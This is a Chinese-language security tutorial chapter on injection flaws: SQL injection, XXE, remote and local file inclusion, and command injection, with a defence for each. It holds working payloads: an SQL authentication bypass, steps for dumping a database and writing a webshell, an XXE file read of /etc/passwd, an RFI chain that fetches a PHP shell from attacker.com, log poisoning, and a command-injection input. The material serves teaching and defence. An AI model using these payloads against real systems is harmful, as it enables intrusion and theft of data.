跳转至

注入类漏洞

2.1 SQL 注入的本质与利用

SQL 注入的根本原因是数据与代码的边界模糊。用户的输入本应只是"数据",但由于直接拼接到 SQL 语句中,它被数据库解释器当作"代码"执行了。

正常逻辑 vs 注入逻辑

假设后端代码:

query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

正常登录: - 用户输入 admin / 123456 - SQL 变成:SELECT * FROM users WHERE username='admin' AND password='123456'

注入登录: - 用户输入 admin' OR '1'='1' -- / 任意密码 - SQL 变成:SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='xxx' - -- 是 SQL 注释符,后面的密码校验被注释掉了;'1'='1' 永远为真,绕过认证

SQL 注入的分类与识别

类型 核心特征 判断方法
联合查询注入 页面会显示查询结果,可用 UNION SELECT 追加数据 先用 ORDER BY 确定列数,再逐列测试数据回显位置
报错注入 数据库错误信息直接回显到页面 利用 updatexml()extractvalue() 等函数让错误信息中包含敏感数据
布尔盲注 页面只有"正常/异常"两种状态,无数据回显 AND 1=1 正常、AND 1=2 异常,说明注入点存在
时间盲注 页面完全无变化 AND IF(1=1, SLEEP(5), 0),若响应延迟 5 秒则存在注入
堆叠注入 数据库支持多语句执行(MSSQL、PostgreSQL 默认支持,MySQL 需配置) 使用 ; 分隔多条 SQL 语句
宽字节注入 数据库使用 GBK 等多字节编码 %df%27 被 GBK 解码为 運',吃掉转义符 \

不同数据库的差异化利用

每种数据库有各自的系统表、函数和语法特性,注入时需要针对性构造 Payload:

数据库 查版本 查当前用户 查所有表名
MySQL SELECT VERSION() SELECT USER() SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
MSSQL SELECT @@VERSION SELECT SYSTEM_USER SELECT name FROM sys.databases
Oracle SELECT * FROM v$version SELECT user FROM dual SELECT table_name FROM all_tables
PostgreSQL SELECT VERSION() SELECT current_user SELECT tablename FROM pg_tables

从注入到脱库的完整思路: 1. 确认注入点(单引号报错、逻辑恒真/恒假测试) 2. 确定数据库类型(通过报错信息、特定函数试探) 3. 查当前数据库名 → 查所有表名 → 查目标表的列名 → 查具体数据 4. 若权限足够,尝试 INTO OUTFILE 写 webshell,或读取服务器文件

防御的核心原则: 参数化查询(Prepared Statements)是最根本的防御。它将 SQL 结构预编译,用户输入只作为参数传入,数据库永远不会将输入解释为 SQL 代码。

# 安全写法(Python + MySQL)
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (user, pwd))
# 危险写法
cursor.execute("SELECT * FROM users WHERE username = '" + user + "'")

2.2 XML 外部实体注入(XXE)

XML 解析器在处理文档时,可能允许文档中定义"外部实体"并引用外部资源。这个设计本意是方便文档复用,但在安全场景下成了文件读取和内网探测的通道。

攻击原理: XML 文档可以包含 DTD(文档类型定义),DTD 中可以声明实体。当实体声明为 SYSTEM 类型并指向外部 URL 时,解析器会尝试访问该 URL 并将结果嵌入文档。

典型的 XXE 攻击载荷

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

解析器在处理 &xxe; 时,会读取 /etc/passwd 的内容并嵌入到 data 标签中返回。

XXE 的多层次危害

攻击目标 载荷示例 效果
读取本地文件 file:///etc/passwd 获取系统用户信息
读取 Windows 文件 file:///c:/windows/win.ini 获取 Windows 系统配置
探测内网端口 http://192.168.1.1:22 根据响应时间和内容判断端口开放
内网服务攻击 http://internal-api.com/delete?user=1 利用 SSRF 攻击内网接口
远程命令执行(PHP) expect://id 在安装了 expect 扩展的 PHP 环境中执行命令

一个隐蔽的攻击场景: 某系统支持 DOCX 文件上传。DOCX 本质是一个 ZIP 压缩包,内部包含多个 XML 文件。攻击者解压 DOCX,修改 word/_rels/document.xml.rels 中的某个关系指向:

<Relationship Id="rId1" Target="file:///etc/passwd"/>
重新打包上传。当系统在服务端解析该 DOCX 提取文本内容时,XML 解析器触发了外部实体引用,/etc/passwd 的内容被嵌入到输出中返回给攻击者。

防御方法: - 最根本的防御是禁用外部实体解析。PHP 中:libxml_disable_entity_loader(true) - 升级 libxml 到 2.9.0 以上版本(默认禁用外部实体) - 若业务不需要 XML,优先使用 JSON 作为数据交换格式 - 对上传的 Office 文档使用专门的解析库(如 Apache POI),而非通用 XML 解析器


2.3 代码注入:文件包含与命令执行

远程文件包含(RFI)

当应用使用用户可控的路径来 includerequire 文件,且未限制协议时,攻击者可以传入一个远程 URL,让服务器加载并执行远程服务器上的恶意代码。

攻击链: 1. 攻击者在控制的服务器上放置 shell.txt,内容为 <?php system($_GET['cmd']); ?> 2. 构造请求:vuln.php?page=http://attacker.com/shell.txt 3. 服务器下载该文件并以 PHP 解析执行,获得 webshell

防御:PHP 配置中关闭 allow_url_includeallow_url_fopen;对包含路径使用白名单校验。

本地文件包含(LFI)

当包含路径被限制在服务器本地时,攻击者利用路径遍历(../)读取敏感文件。更严重的是,配合日志文件或上传的临时文件,可能将 LFI 升级为代码执行。

目标 利用方式
读取配置文件 ?file=../../../etc/passwd
读取应用源码 ?file=php://filter/read=convert.base64-encode/resource=index.php
配合日志文件 先在 User-Agent 中写入 PHP 代码,再包含访问日志文件
PHP 伪协议执行 php://input 配合 POST 数据直接执行 PHP 代码

命令执行(Command Injection)

应用程序调用系统命令时若未对用户输入过滤,攻击者可通过 Shell 元字符注入额外命令。

高危字符:| ; & $ > < \ 以及反引号 `

// 危险代码
system("ping -c 4 " . $_GET['ip']);
// 攻击输入:127.0.0.1; cat /etc/passwd
// 实际执行:ping -c 4 127.0.0.1; cat /etc/passwd

第三方组件的命令执行漏洞: - Struts2 S2-045(CVE-2017-5638):通过 Content-Type 头注入 OGNL 表达式,OGNL 可调用 Runtime.exec() 执行任意命令 - ImageMagick(CVE-2016-3714):处理图片时解析图片文件名中的 MVG 语法,其中的 ephemeral://msl: 可导致命令执行

防御核心: 永远不要将用户输入拼接到命令字符串中。若必须调用系统命令,使用参数化 API:

# Python 安全写法
subprocess.run(['ping', '-c', '4', ip], capture_output=True)
# 危险写法
os.system("ping -c 4 " + ip)



总结

  • 2.1 SQL 注入的本质与利用
  • 2.2 XML 外部实体注入(XXE)
  • 2.3 代码注入:文件包含与命令执行